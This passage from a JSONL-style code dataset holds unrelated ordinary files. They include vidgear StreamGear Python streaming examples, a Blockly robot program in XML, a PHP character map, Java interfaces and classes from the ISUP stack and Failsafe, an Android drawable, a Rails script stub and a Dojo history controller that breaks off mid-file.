streamer.stream(frame_rgb, rgb_mode = True) #activate RGB Mode\n\n # Show output window\n cv2.imshow(\"Output Frame\", frame)\n\n # check for 'q' key if pressed\n key = cv2.waitKey(1) & 0xFF\n if key == ord(\"q\"):\n break\n\n# close output window\ncv2.destroyAllWindows()\n\n# safely close video stream\nstream.stop()\n\n# safely close streamer\nstreamer.terminate()\n```\n\n&thinsp;\n\n### B.3 Bare-Minimum Usage with controlled Input-framerate\n\nIn Real-time Frames Mode, StreamGear API provides exclusive [`-input_framerate`](../params/#a-exclusive-parameters) attribute for its `stream_params` dictionary parameter, that allow us to set the assumed constant framerate for incoming frames. In this example, we will retrieve framerate from webcam video-stream, and set it as value for `-input_framerate` attribute in StreamGear:\n\n!!! tip \"Remember, the Primary Stream framerate default to `-input_framerate` attribute value _(if defined)_ in Real-time Frames Mode.\"\n\n```python\n# import required libraries\nfrom vidgear.gears import CamGear\nfrom vidgear.gears import StreamGear\nimport cv2\n\n# Open live video stream on webcam at first index(i.e. 0) device\nstream = CamGear(source=0).start()\n\n# retrieve framerate from CamGear Stream and pass it as `-input_framerate` value\nstream_params = {\"-input_framerate\":stream.framerate}\n\n# describe a suitable manifest-file location/name and assign params\nstreamer = StreamGear(output=\"dash_out.mpd\", **stream_params)\n\n# loop over\nwhile True:\n\n # read frames from stream\n frame = stream.read()\n\n # check for frame if Nonetype\n if frame is None:\n break\n\n\n # {do something with the frame here}\n\n\n # send frame to streamer\n streamer.stream(frame)\n\n # Show output window\n cv2.imshow(\"Output Frame\", frame)\n\n # check for 'q' key if pressed\n key = cv2.waitKey(1) & 0xFF\n if key == ord(\"q\"):\n break\n\n# close output window\ncv2.destroyAllWindows()\n\n# safely close video stream\nstream.stop()\n\n# safely close streamer\nstreamer.terminate()\n```\n\n&thinsp;\n\n### B.4 Bare-Minimum Usage with OpenCV\n\nYou can easily use StreamGear API directly with any other Video Processing library(_For e.g. [OpenCV](https://github.com/opencv/opencv) itself_) in Real-time Frames Mode. The complete usage example is as follows:\n\n!!! tip \"This just a bare-minimum example with OpenCV, but any other Real-time Frames Mode feature/example will work in the similar manner.\"\n\n```python\n# import required libraries\nfrom vidgear.gears import StreamGear\nimport cv2\n\n# Open suitable video stream, such as webcam on first index(i.e. 0)\nstream = cv2.VideoCapture(0) \n\n# describe a suitable manifest-file location/name\nstreamer = StreamGear(output=\"dash_out.mpd\")\n\n# loop over\nwhile True:\n\n # read frames from stream\n (grabbed, frame) = stream.read()\n\n # check for frame if not grabbed\n if not grabbed:\n break\n\n # {do something with the frame here}\n # lets convert frame to gray for this example\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n\n # send frame to streamer\n streamer.stream(gray)\n\n # Show output window\n cv2.imshow(\"Output Gray Frame\", gray)\n\n # check for 'q' key if pressed\n key = cv2.waitKey(1) & 0xFF\n if key == ord(\"q\"):\n break\n\n# close output window\ncv2.destroyAllWindows()\n\n# safely close video stream\nstream.release()\n\n# safely close streamer\nstreamer.terminate()\n```\n\n&thinsp;\n\n### B.5 Usage with Additional Streams\n\nSimilar to Single-Source Mode, you can easily generate any number of additional Secondary Streams of variable bitrates or spatial resolutions, using exclusive [`-streams`](../params/#a-exclusive-parameters) attribute of `stream_params` dictionary parameter _(More detailed information can be found [here ➶](../params/#a-exclusive-parameters))_ in Real-time Frames Mode. The complete example is as follows:\n\n!!! danger \"Important `-streams` attribute Information\"\n * On top of these additional streams, StreamGear by default, generates a primary stream of same resolution and framerate[^1] as the input, at the index `0`.\n * :warning: Make sure your System/Machine/Server/Network is able to handle these additional streams, discretion is advised! \n * You **MUST** need to define `-resolution` value for your stream, otherwise stream will be discarded!\n * You only need either of `-video_bitrate` or `-framerate` for defining a valid stream. Since with `-framerate` value defined, video-bitrate is calculated automatically.\n * If you define both `-video_bitrate` and `-framerate` values at the same time, StreamGear will discard the `-framerate` value automatically.\n\n!!! fail \"Always use `-stream` attribute to define additional streams safely, any duplicate or incorrect definition can break things!\"\n\n```python\n# import required libraries\nfrom vidgear.gears import CamGear\nfrom vidgear.gears import StreamGear\nimport cv2\n\n# Open suitable video stream, such as webcam on first index(i.e. 0)\nstream = CamGear(source=0).start() \n\n# define various streams\nstream_params = {\n \"-streams\": [\n {\"-resolution\": \"1280x720\", \"-framerate\": 30.0}, # Stream2: 1280x720 at 30fps framerate\n {\"-resolution\": \"640x360\", \"-framerate\": 60.0}, # Stream3: 640x360 at 60fps framerate\n {\"-resolution\": \"320x240\", \"-video_bitrate\": \"500k\"}, # Stream3: 320x240 at 500kbs bitrate\n ],\n}\n\n# describe a suitable manifest-file location/name and assign params\nstreamer = StreamGear(output=\"dash_out.mpd\")\n\n# loop over\nwhile True:\n\n # read frames from stream\n frame = stream.read()\n\n # check for frame if Nonetype\n if frame is None:\n break\n\n\n # {do something with the frame here}\n\n\n # send frame to streamer\n streamer.stream(frame)\n\n # Show output window\n cv2.imshow(\"Output Frame\", frame)\n\n # check for 'q' key if pressed\n key = cv2.waitKey(1) & 0xFF\n if key == ord(\"q\"):\n break\n\n# close output window\ncv2.destroyAllWindows()\n\n# safely close video stream\nstream.stop()\n\n# safely close streamer\nstreamer.terminate()\n```\n\n&thinsp;\n\n### B.6 Usage with Audio-Input\n\nIn Real-time Frames Mode, if you want to add audio to your streams, you've to use exclusive [`-audio`](../params/#a-exclusive-parameters) attribute of `stream_params` dictionary parameter. You need to input the path of your audio to this attribute as string value, and StreamGear API will automatically validate and map it to all generated streams. The complete example is as follows:\n\n!!! failure \"Make sure this `-audio` audio-source it compatible with provided video-source, otherwise you encounter multiple errors or no output at all.\"\n\n!!! tip \"You can also assign a valid Audio URL as input, rather than filepath. More details can be found [here ➶](../params/#a-exclusive-parameters)\"\n\n```python\n# import required libraries\nfrom vidgear.gears import CamGear\nfrom vidgear.gears import StreamGear\nimport cv2\n\n# open any valid video stream(for e.g `foo1.mp4` file)\nstream = CamGear(source='foo1.mp4').start() \n\n# activate Single-Source Mode and various streams, along with custom audio\nstream_params = {\n \"-streams\": [\n {\"-resolution\": \"1920x1080\", \"-video_bitrate\": \"4000k\"}, # Stream1: 1920x1080 at 4000kbs bitrate\n {\"-resolution\": \"1280x720\", \"-framerate\": 30.0}, # Stream2: 1280x720 at 30fps\n {\"-resolution\": \"640x360\", \"-framerate\": 60.0}, # Stream3: 640x360 at 60fps\n ],\n \"-audio\": \"/home/foo/foo1.aac\" # assigns input audio-source: \"/home/foo/foo1.aac\"\n}\n\n# describe a suitable manifest-file location/name and assign params\nstreamer = StreamGear(output=\"dash_out.mpd\", **stream_params)\n\n# loop over\nwhile True:\n\n # read frames from stream\n frame = stream.read()\n\n # check for frame if Nonetype\n if frame is None:\n break\n\n\n # {do something with the frame here}\n\n\n # send frame to streamer\n streamer.stream(frame)\n\n # Show output window\n cv2.imshow(\"Output Frame\", frame)\n\n # check for 'q' key if pressed\n key = cv2.waitKey(1) & 0xFF\n if key == ord(\"q\"):\n break\n\n# close output window\ncv2.destroyAllWindows()\n\n# safely close video stream\nstream.stop()\n\n# safely close streamer\nstreamer.terminate()\n```\n\n&thinsp;\n\n### B.7 Usage with Hardware Video-Encoder\n\n\nIn Real-time Frames Mode, you can also easily change encoder as per your requirement just by passing `-vcodec` FFmpeg parameter as an attribute in `stream_params` dictionary parameter. In addition to this, you can also specify the additional properties/features/optimizations for your system's GPU similarly. \n\nIn this example, we will be using `h264_vaapi` as our hardware encoder and also optionally be specifying our device hardware's location (i.e. `'-vaapi_device':'/dev/dri/renderD128'`) and other features such as `'-vf':'format=nv12,hwupload'` like properties by formatting them as `option` dictionary parameter's attributes, as follows:\n\n!!! warning \"Check VAAPI support\"\n\n **This example is just conveying the idea on how to use FFmpeg's hardware encoders with WriteGear API in Compression mode, which MAY/MAY-NOT suit your system. Kindly use suitable parameters based your supported system and FFmpeg configurations only.**\n\n To use `h264_vaapi` encoder, remember to check if its available and your FFmpeg compiled with VAAPI support. You can easily do this by executing following one-liner command in your terminal, and observing if output contains something similar as follows:\n\n ```sh\n ffmpeg -hide_banner -encoders | grep vaapi \n\n V..... h264_vaapi H.264/AVC (VAAPI) (codec h264)\n V..... hevc_vaapi H.265/HEVC (VAAPI) (codec hevc)\n V..... mjpeg_vaapi MJPEG (VAAPI) (codec mjpeg)\n V..... mpeg2_vaapi MPEG-2 (VAAPI) (codec mpeg2video)\n V..... vp8_vaapi VP8 (VAAPI) (codec vp8)\n ```\n\n\n```python\n# import required libraries\nfrom vidgear.gears import VideoGear\nfrom vidgear.gears import StreamGear\nimport cv2\n\n# Open suitable video stream, such as webcam on first index(i.e. 0)\nstream = VideoGear(source=0).start() \n\n# activate Single-Source Mode and various streams with custom Video Encoder and optimizations\nstream_params = {\n \"-streams\": [\n {\"-resolution\": \"1920x1080\", \"-video_bitrate\": \"4000k\"}, # Stream1: 1920x1080 at 4000kbs bitrate\n {\"-resolution\": \"1280x720\", \"-framerate\": 30.0}, # Stream2: 1280x720 at 30fps\n {\"-resolution\": \"640x360\", \"-framerate\": 60.0}, # Stream3: 640x360 at 60fps\n ],\n \"-vcodec\": \"h264_vaapi\", # define custom Video encoder\n \"-vaapi_device\": \"/dev/dri/renderD128\", # define device location\n \"-vf\": \"format=nv12,hwupload\", # define video pixformat\n}\n\n# describe a suitable manifest-file location/name and assign params\nstreamer = StreamGear(output=\"dash_out.mpd\", **stream_params)\n\n# loop over\nwhile True:\n\n # read frames from stream\n frame = stream.read()\n\n # check for frame if Nonetype\n if frame is None:\n break\n\n\n # {do something with the frame here}\n\n\n # send frame to streamer\n streamer.stream(frame)\n\n # Show output window\n cv2.imshow(\"Output Frame\", frame)\n\n # check for 'q' key if pressed\n key = cv2.waitKey(1) & 0xFF\n if key == ord(\"q\"):\n break\n\n# close output window\ncv2.destroyAllWindows()\n\n# safely close video stream\nstream.stop()\n\n# safely close streamer\nstreamer.terminate()\n```\n\n&nbsp;\n\n[^1]: \n :bulb: In Real-time Frames Mode, the Primary Stream's framerate defaults to [`-input_framerate`](../params/#a-exclusive-parameters) attribute value, if defined, else it will be 25fps."} {"text": "<block_set xmlns=\"http://de.fhg.iais.roberta.blockly\"\n robottype=\"wedo\" xmlversion=\"2.0\" description=\"\" tags=\"\">\n <instance x=\"74\" y=\"115\">\n <block type=\"robControls_start\" id=\"aR0!L0j7-ZXQB0|F;!xO\"\n intask=\"true\" deletable=\"false\">\n <mutation declare=\"false\"></mutation>\n <field name=\"DEBUG\">FALSE</field>\n </block>\n <block type=\"robActions_display_text\" id=\"*XhJ.xBc*.[x)l(~}0=s\"\n intask=\"true\">\n <value name=\"OUT\">\n <block type=\"robProcedures_callreturn\" id=\"HYRKb~d|I1R?R~u?Az:#\"\n intask=\"true\">\n <mutation name=\"doSomething2\"\n output_type=\"Number\">\n <arg name=\"x\" type=\"Number\"></arg>\n <arg name=\"x2\" type=\"Number\"></arg>\n </mutation>\n <value name=\"ARG0\">\n <block type=\"math_random_int\" id=\"js3w_mWo35n4Xv75At~C\"\n intask=\"true\">\n <value name=\"FROM\">\n <block type=\"math_number\"\n id=\"hdZm?=4s@ev,:0G~*4|=\"\n intask=\"true\">\n <field name=\"NUM\">1</field>\n </block>\n </value>\n <value name=\"TO\">\n <block type=\"math_number\"\n id=\"/T(J/1hYW~bgawW;h^an\"\n intask=\"true\">\n <field name=\"NUM\">100\n </field>\n </block>\n </value>\n </block>\n </value>\n <value name=\"ARG1\">\n <block type=\"math_random_int\" id=\"L+pW~1b/l1,4,qy!A}yS\"\n intask=\"true\">\n <value name=\"FROM\">\n <block type=\"math_number\"\n id=\"mU,m)XtaRA=s]?EWeF2o\"\n intask=\"true\">\n <field name=\"NUM\">1</field>\n </block>\n </value>\n <value name=\"TO\">\n <block type=\"math_number\"\n id=\"oAwi~.ZlVCr,+!J:7Pl)\"\n intask=\"true\">\n <field name=\"NUM\">100\n </field>\n </block>\n </value>\n </block>\n </value>\n </block>\n </value>\n </block>\n </instance>\n <instance x=\"423\" y=\"288\">\n <block type=\"robProcedures_defnoreturn\" id=\"?B}hd7{?EkgkE-#%6S*v\"\n intask=\"true\">\n <mutation declare=\"false\"></mutation>\n <field name=\"NAME\">doSomething</field>\n <statement name=\"STACK\">\n <block type=\"robActions_play_tone\" id=\"R|9I5+B^t(RV[hu#I9~]\"\n intask=\"true\">\n <value name=\"FREQUENCE\">\n <block type=\"math_number\" id=\"^-)8%6AO8ew.!euJHIc,\"\n intask=\"true\">\n <field name=\"NUM\">300</field>\n </block>\n </value>\n <value name=\"DURATION\">\n <block type=\"math_number\" id=\".0pL6[0r4{{p9(Meo1`Y\"\n intask=\"true\">\n <field name=\"NUM\">100</field>\n </block>\n </value>\n </block>\n </statement>\n </block>\n </instance>\n <instance x=\"135\" y=\"304\">\n <block type=\"robProcedures_defreturn\" id=\"RZ7(N:eIyt,B5ZOg1:c[\"\n intask=\"true\">\n <mutation declare=\"true\" return_type=\"Number\"></mutation>\n <field name=\"NAME\">doSomething2</field>\n <field name=\"TYPE\">Number</field>\n <repetitions>\n <statement name=\"ST\">\n <block type=\"robLocalVariables_declare\"\n id=\"=-|g6%qc8#|?sP-y^EDZ\" intask=\"true\"\n deletable=\"false\" movable=\"false\">\n <mutation next=\"true\"\n declaration_type=\"Number\"></mutation>\n <field name=\"VAR\">x</field>\n <field name=\"TYPE\">Number</field>\n </block>\n <block type=\"robLocalVariables_declare\"\n id=\"uHy]dErlH_%l6o[IwH#r\" intask=\"true\"\n deletable=\"false\" movable=\"false\">\n <mutation next=\"false\"\n declaration_type=\"Number\"></mutation>\n <field name=\"VAR\">x2</field>\n <field name=\"TYPE\">Number</field>\n </block>\n </statement>\n <statement name=\"STACK\">\n <block type=\"robProcedures_callnoreturn\"\n id=\"-ZklPtVfOg2bQa^?mlU^\" intask=\"true\">\n <mutation name=\"doSomething\"></mutation>\n </block>\n <block type=\"robProcedures_ifreturn\"\n id=\"x}s.3CYXdJk-ItqF5YHI\" intask=\"true\">\n <mutation value=\"1\"\n return_type=\"Number\"></mutation>\n <value name=\"CONDITION\">\n <block type=\"logic_compare\"\n id=\"(gPe:o6[!#d/JC+.C,R5\"\n intask=\"true\">\n <field name=\"OP\">EQ</field>\n <value name=\"A\">\n <block type=\"variables_get\"\n id=\",kBk)FuYGo@f/~F=8?]R\"\n intask=\"true\">\n <mutation\n datatype=\"Number\"></mutation>\n <field name=\"VAR\">x\n </field>\n </block>\n </value>\n <value name=\"B\">\n <block type=\"variables_get\"\n id=\"xJC}|EY%_H7.`|Vhys*5\"\n intask=\"true\">\n <mutation\n datatype=\"Number\"></mutation>\n <field name=\"VAR\">x2\n </field>\n </block>\n </value>\n </block>\n </value>\n <value name=\"VALUE\">\n <block type=\"math_number\"\n id=\"XDjtbpvuGK%0y;Se:|E)\"\n intask=\"true\">\n <field name=\"NUM\">57</field>\n </block>\n </value>\n </block>\n </statement>\n <value name=\"RETURN\">\n <block type=\"variables_get\" id=\"-@!9X)?)VJdB|.Yi1foi\"\n intask=\"true\">\n <mutation datatype=\"Number\"></mutation>\n <field name=\"VAR\">x</field>\n </block>\n </value>\n </repetitions>\n </block>\n </instance>\n</block_set>"} {"text": "<?php\nreturn [\n 189 => 188,\n 190 => 179,\n 65 => 97,\n 257 => 97,\n 256 => 97,\n 229 => 97,\n 197 => 97,\n 261 => 97,\n 260 => 97,\n 230 => 97,\n 198 => 97,\n 66 => 98,\n 67 => 99,\n 263 => 99,\n 262 => 99,\n 269 => 99,\n 268 => 99,\n 68 => 100,\n 69 => 101,\n 233 => 101,\n 201 => 101,\n 279 => 101,\n 278 => 101,\n 275 => 101,\n 274 => 101,\n 281 => 101,\n 280 => 101,\n 70 => 102,\n 71 => 103,\n 291 => 103,\n 290 => 103,\n 72 => 104,\n 73 => 105,\n 299 => 105,\n 298 => 105,\n 303 => 105,\n 302 => 105,\n 74 => 106,\n 75 => 107,\n 311 => 107,\n 310 => 107,\n 76 => 108,\n 316 => 108,\n 315 => 108,\n 322 => 108,\n 321 => 108,\n 77 => 109,\n 78 => 110,\n 324 => 110,\n 323 => 110,\n 326 => 110,\n 325 => 110,\n 79 => 111,\n 243 => 111,\n 211 => 111,\n 333 => 111,\n 332 => 111,\n 248 => 111,\n 216 => 111,\n 80 => 112,\n 81 => 113,\n 82 => 114,\n 343 => 114,\n 342 => 114,\n 83 => 115,\n 347 => 115,\n 346 => 115,\n 223 => 115,\n 352 => 353,\n 90 => 122,\n 378 => 122,\n 377 => 122,\n 380 => 122,\n 379 => 122,\n 381 => 382,\n 84 => 116,\n 85 => 117,\n 363 => 117,\n 362 => 117,\n 371 => 117,\n 370 => 117,\n 86 => 118,\n 119 => 118,\n 87 => 118,\n 213 => 245,\n 196 => 228,\n 214 => 246,\n 220 => 252,\n 88 => 120,\n 89 => 121,\n];\n"} {"text": "/*\n * TeleStax, Open Source Cloud Communications\n * Copyright 2012, Telestax Inc and individual contributors\n * by the @authors tag. See the copyright.txt in the distribution for a\n * full listing of individual contributors.\n *\n * This is free software; you can redistribute it and/or modify it\n * under the terms of the GNU Lesser General Public License as\n * published by the Free Software Foundation; either version 2.1 of\n * the License, or (at your option) any later version.\n *\n * This software is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this software; if not, write to the Free\n * Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA\n * 02110-1301 USA, or see the FSF site: http://www.fsf.org.\n */\n\n/**\n * Start time:12:56:06 2009-03-30<br>\n * Project: mobicents-isup-stack<br>\n *\n * @author <a href=\"mailto:baranowb@gmail.com\"> Bartosz Baranowski\n * </a>\n *\n */\npackage org.restcomm.protocols.ss7.isup.message.parameter;\n\nimport java.io.Serializable;\n\n/**\n * Start time:12:56:06 2009-03-30<br>\n * Project: mobicents-isup-stack<br>\n *\n * @author <a href=\"mailto:baranowb@gmail.com\"> Bartosz Baranowski </a>\n *\n */\npublic interface ISUPParameter extends Serializable {\n\n int getCode();\n\n}\n"} {"text": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<!-- Copyright 2015 The Chromium Authors. All rights reserved.\n Use of this source code is governed by a BSD-style license that can be\n found in the LICENSE file. -->\n\n<!-- Tablets from api 18 and below didn't have the top notification bar -->\n<layer-list\n xmlns:android=\"http://schemas.android.com/apk/res/android\" >\n <item>\n <nine-patch android:src=\"@drawable/toolbar_background\" />\n </item>\n</layer-list>"} {"text": "/*\n * Copyright 2018 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License\n */\npackage net.jodah.failsafe;\n\nimport java.util.Objects;\n\n/**\n * The result of an execution. Immutable.\n * <p>\n * Part of the Failsafe SPI.\n *\n * @author Jonathan Halterman\n */\npublic class ExecutionResult {\n /** An execution that was completed with a non-result */\n static final ExecutionResult NONE = new ExecutionResult(null, null, true, 0, true, true, true);\n\n /** The execution result, if any */\n private final Object result;\n /** The execution failure, if any */\n private final Throwable failure;\n /** Whether the result represents a non result rather than a {@code null} result */\n private final boolean nonResult;\n /** The amount of time to wait prior to the next execution, according to the policy */\n private final long waitNanos;\n /** Whether a policy has completed handling of the execution */\n private final boolean complete;\n /** Whether a policy determined the execution to be a success */\n private final boolean success;\n /** Whether all policies determined the execution to be a success */\n private final Boolean successAll;\n\n /**\n * Records an initial execution result with {@code complete} true and {@code success} set to true if {@code failure}\n * is not null.\n */\n public ExecutionResult(Object result, Throwable failure) {\n this(result, failure, false, 0, true, failure == null, failure == null);\n }\n\n private ExecutionResult(Object result, Throwable failure, boolean nonResult, long waitNanos, boolean complete,\n boolean success, Boolean successAll) {\n this.nonResult = nonResult;\n this.result = result;\n this.failure = failure;\n this.waitNanos = waitNanos;\n this.complete = complete;\n this.success = success;\n this.successAll = successAll;\n }\n\n /**\n * Returns a an ExecutionResult with the {@code result} set, {@code complete} true and {@code success} true.\n */\n public static ExecutionResult success(Object result) {\n return new ExecutionResult(result, null, false, 0, true, true, true);\n }\n\n /**\n * Returns a an ExecutionResult with the {@code failure} set, {@code complete} true and {@code success} false.\n */\n public static ExecutionResult failure(Throwable failure) {\n return new ExecutionResult(null, failure, false, 0, true, false, false);\n }\n\n public Object getResult() {\n return result;\n }\n\n public Throwable getFailure() {\n return failure;\n }\n\n public long getWaitNanos() {\n return waitNanos;\n }\n\n public boolean isComplete() {\n return complete;\n }\n\n public boolean isNonResult() {\n return nonResult;\n }\n\n public boolean isSuccess() {\n return success;\n }\n\n /**\n * Returns a copy of the ExecutionResult with a non-result, and complete and success set to true. Returns {@code this}\n * if {@link #success} and {@link #result} are unchanged.\n */\n ExecutionResult withNonResult() {\n return success && this.result == null && nonResult ?\n this :\n new ExecutionResult(null, null, true, waitNanos, true, true, successAll);\n }\n\n /**\n * Returns a copy of the ExecutionResult with the {@code result} value, and complete and success set to true. Returns\n * {@code this} if {@link #success} and {@link #result} are unchanged.\n */\n public ExecutionResult withResult(Object result) {\n return success && ((this.result == null && result == null) || (this.result != null && this.result.equals(result))) ?\n this :\n new ExecutionResult(result, null, nonResult, waitNanos, true, true, successAll);\n }\n \n /**\n * Returns a copy of the ExecutionResult with {@code complete} set to false, else this if nothing has changed.\n */\n ExecutionResult withNotComplete() {\n return !this.complete ?\n this :\n new ExecutionResult(result, failure, nonResult, waitNanos, false, success, successAll);\n }\n\n /**\n * Returns a copy of the ExecutionResult with success value of {code false}.\n */\n ExecutionResult withFailure() {\n return !this.success ? this : new ExecutionResult(result, failure, nonResult, waitNanos, complete, false, false);\n }\n\n /**\n * Returns a copy of the ExecutionResult with the {@code complete} and {@code success} values of {@code true}.\n */\n ExecutionResult withSuccess() {\n return this.complete && this.success ?\n this :\n new ExecutionResult(result, failure, nonResult, waitNanos, true, true, successAll);\n }\n\n /**\n * Returns a copy of the ExecutionResult with the {@code waitNanos} value.\n */\n public ExecutionResult withWaitNanos(long waitNanos) {\n return this.waitNanos == waitNanos ?\n this :\n new ExecutionResult(result, failure, nonResult, waitNanos, complete, success, successAll);\n }\n\n /**\n * Returns a copy of the ExecutionResult with the {@code waitNanos}, {@code complete} and {@code success} values.\n */\n public ExecutionResult with(long waitNanos, boolean complete, boolean success) {\n return this.waitNanos == waitNanos && this.complete == complete && this.success == success ?\n this :\n new ExecutionResult(result, failure, nonResult, waitNanos, complete, success,\n successAll == null ? success : success && successAll);\n }\n\n boolean getSuccessAll() {\n return successAll != null && successAll;\n }\n\n @Override\n public String toString() {\n return \"ExecutionResult[\" + \"result=\" + result + \", failure=\" + failure + \", nonResult=\" + nonResult\n + \", waitNanos=\" + waitNanos + \", complete=\" + complete + \", success=\" + success + \", successAll=\" + successAll\n + ']';\n }\n\n @Override\n public boolean equals(Object o) {\n if (this == o)\n return true;\n if (o == null || getClass() != o.getClass())\n return false;\n ExecutionResult that = (ExecutionResult) o;\n return Objects.equals(result, that.result) && Objects.equals(failure, that.failure);\n }\n\n @Override\n public int hashCode() {\n return Objects.hash(result, failure);\n }\n}"} {"text": "#!/usr/bin/env ruby\nrequire File.dirname(__FILE__) + '/../config/boot'\nrequire 'commands/destroy'\n"} {"text": "define(\"dojox/app/controllers/HistoryHash\", [\"dojo/_base/lang\", \"dojo/_base/declare\", \"dojo/topic\", \"dojo/on\", \"../Controller\", \"dojo/hash\"],\n\tfunction(lang, declare, topic, on, Controller){\n\t// module:\n\t//\t\tdojox/app/controllers/HistoryHash\n\t// summary:\n\t//\t\tBind \"startTransition\" event on dojox/app application's domNode,\n\t//\t\tBind \"/dojo/hashchange\" event on window object.\n\t//\t\tMaintain history by history hash.\n\n\treturn declare(\"dojox.app.controllers.HistoryHash\", Controller, {\n\n\t\tconstructor: function(app){\n\t\t\t// summary:\n\t\t\t//\t\tBind \"startTransition\" event on dojox/app application's domNode,\n\t\t\t//\t\tsubscribe \"/dojo/hashchange\" event.\n\t\t\t//\n\t\t\t// app:\n\t\t\t//\t\tdojox/app application instance.\n\t\t\tthis.events = {\n\t\t\t\t\"startTransition\": this.onStartTransition\n\t\t\t};\n\t\t\tthis.inherited(arguments);\n\n\t\t\ttopic.subscribe(\"/dojo/hashchange\", lang.hitch(this, function(newhash){\n\t\t\t\tthis._onHashChange(newhash);\n\t\t\t}));\n\n\t\t\tthis._historyStack = []; // application history stack\n\t\t\tthis._historyLen = 0;\t// current window.history length\n\t\t\tthis._current = null;\t// current history item in application history stack\n\t\t\tthis._next = null;\t\t// next history item in application history stack\n\t\t\tthis._previous = null;\t// privious history item in application history stack\n\t\t\tthis._index = 0;\t\t// identify current history item's index in application history stack\n\t\t\tthis._oldHistoryLen = 0;// window.history stack length before hash change\n\t\t\tthis._newHistoryLen = 0;// window.history stack length after hash change\n\t\t\tthis._addToHistoryStack = false;\n\t\t\tthis._detail = null;\n\t\t\tthis._startTransitionEvent = false;\n\n\t\t\t// push the default page to the history stack\n\t\t\tvar currentHash = window.location.hash;\n\t\t\tif (currentHash && (currentHash.length > 1)) {\n\t\t\t\tcurrentHash = currentHash.substr(1);\n\t\t\t}\n\t\t\tthis._historyStack.push({\n\t\t\t\t'hash': currentHash,\n\t\t\t\t'url': window.location.href,\n\t\t\t\t'detail': {target:currentHash}\n\t\t\t});\n\t\t\tthis._historyLen = window.history.length;\n\t\t\tthis._index = this._historyStack.length - 1;\n\t\t\tthis._current = currentHash;\n\n\t\t\t// get the diff of window.history and application history\n\t\t\tthis._historyDiff = window.history.length - this._historyStack.length;\n\t\t},\n\n\t\tonStartTransition: function(evt){\n\t\t\t// summary:\n\t\t\t//\t\tResponse to dojox/app \"startTransition\" event.\n\t\t\t//\n\t\t\t// example:\n\t\t\t//\t\tUse \"dojox/mobile/TransitionEvent\" to trigger \"startTransition\" event, and this function will response the event. For example:\n\t\t\t//\t\t|\tvar transOpts = {\n\t\t\t//\t\t|\t\ttitle:\"List\",\n\t\t\t//\t\t|\t\ttarget:\"items,list\",\n\t\t\t//\t\t|\t\turl: \"#items,list\"\n\t\t\t//\t\t|\t};\n\t\t\t//\t\t|\tnew TransitionEvent(domNode, transOpts, e).dispatch();\n\t\t\t//\n\t\t\t// evt: Object\n\t\t\t//\t\ttransition options parameter\n\n\t\t\tvar target = evt.detail.target;\n\t\t\tvar regex = /#(.+)/;\n\t\t\tif (!target && regex.test(evt.detail.href)) {\n\t\t\t\ttarget = evt.detail.href.match(regex)[1];\n\t\t\t}\n\n\t\t\tvar currentHash = evt.detail.url || '#' + target;\n\n\t\t\tthis._oldHistoryLen = window.history.length;\n\t\t\t// pushState on iOS will not change location bar hash because of security.\n\t\t\t// window.history.pushState(evt.detail, title, currentHash);\n\n\t\t\t// history.length will be changed by set location hash\n\t\t\t// change url hash, to workaround iOS pushState not change address bar issue.\n\t\t\twindow.location.hash = currentHash;\n\n\t\t\t// The operation above will trigger hashchange.\n\t\t\t// Use _addToHistoryStack flag to indicate the _onHashChange method should add this hash to history stack.\n\t\t\t// When add hash to history stack, this flag should be set to false, we do this in _addHistory.\n\t\t\tthis._addToHistoryStack = true;\n\t\t\tthis._detail = evt.detail;\n\t\t\t//set startTransition event flag to true if the hash change from startTransition event.\n\t\t\tthis._startTransitionEvent = true;\n\t\t},\n\n\t\t_addHistory: function(hash){\n\t\t\t// summary:\n\t\t\t//\t\tAdd hash to application history stack, update history management flags.\n\t\t\t//\n\t\t\t// hash:\n\t\t\t//\t\tnew hash should be added to _historyStack.\n\t\t\tthis._historyStack.push({\n\t\t\t\t'hash': hash,\n\t\t\t\t'url': window.location.href,\n\t\t\t\t'detail': {target:hash}\n\t\t\t});\n\n\t\t\tthis._historyLen = window.history.length;\n\t\t\tthis._index = this._historyStack.length - 1;\n\n\t\t\tthis._previous = this._current;\n\t\t\tthis._current = hash;\n\t\t\tthis._next = null;\n\n\t\t\tthis._historyDiff = window.history.length - this._historyStack.length;\n\n\t\t\t// In order to make sure _addToHistoryStack flag invalid after add hash to history stack,\n\t\t\t// we set this flag to false in every addHistory operation even if it's already false.\n\t\t\tthis._addToHistoryStack = false;\n\t\t},\n\n\t\t_onHashChange: function(currentHash){\n\t\t\t// summary:\n\t\t\t//\t\tsubscribe /dojo/hashchange and do add history, back, forward and go operation.\n\t\t\t//\n\t\t\t// currentHash:\n\t\t\t//\t\tthe new url hash when /dojo/hashchange is triggered.\n\n\t\t\tif(this._index < 0 || this._index > (window.history.length - 1)){\n\t\t\t\tthrow Error(\"Application history out of management.\");\n\t\t\t}\n\n\t\t\tthis._newHistoryLen = window.history.length;\n\n\t\t\t// Application history stack asynchronized with window.history, refresh application history stack.\n\t\t\tif(this._oldHistoryLen > this._newHistoryLen){\n\t\t\t\t//console.log(\"need to refresh _historyStack, oldLen:\"+this._oldHistoryLen+\", newLen: \"+this._newHistoryLen+\", diff:\"+this._historyDiff);\n\t\t\t\tthis._historyStack.splice((this._newHistoryLen - this._historyDiff - 1), (this._historyStack.length - 1));\n\n\t\t\t\t// Reset _historyLen to make sure this._historyLen<window.history.length, so it will push this hash to history stack.\n\t\t\t\tthis._historyLen = this._historyStack.length;\n\n\t\t\t\t// Reset this._oldHistoryLen, so it can avoid refresh history stack again in some situation,\n\t\t\t\t// because by doing this, this._oldHistoryLen !== this._newHistoryLen\n\t\t\t\tthis._oldHistoryLen = 0;\n\t\t\t}\n\n\t\t\t// this._oldHistoryLen === this._newHistoryLen, it maybe need to refresh history 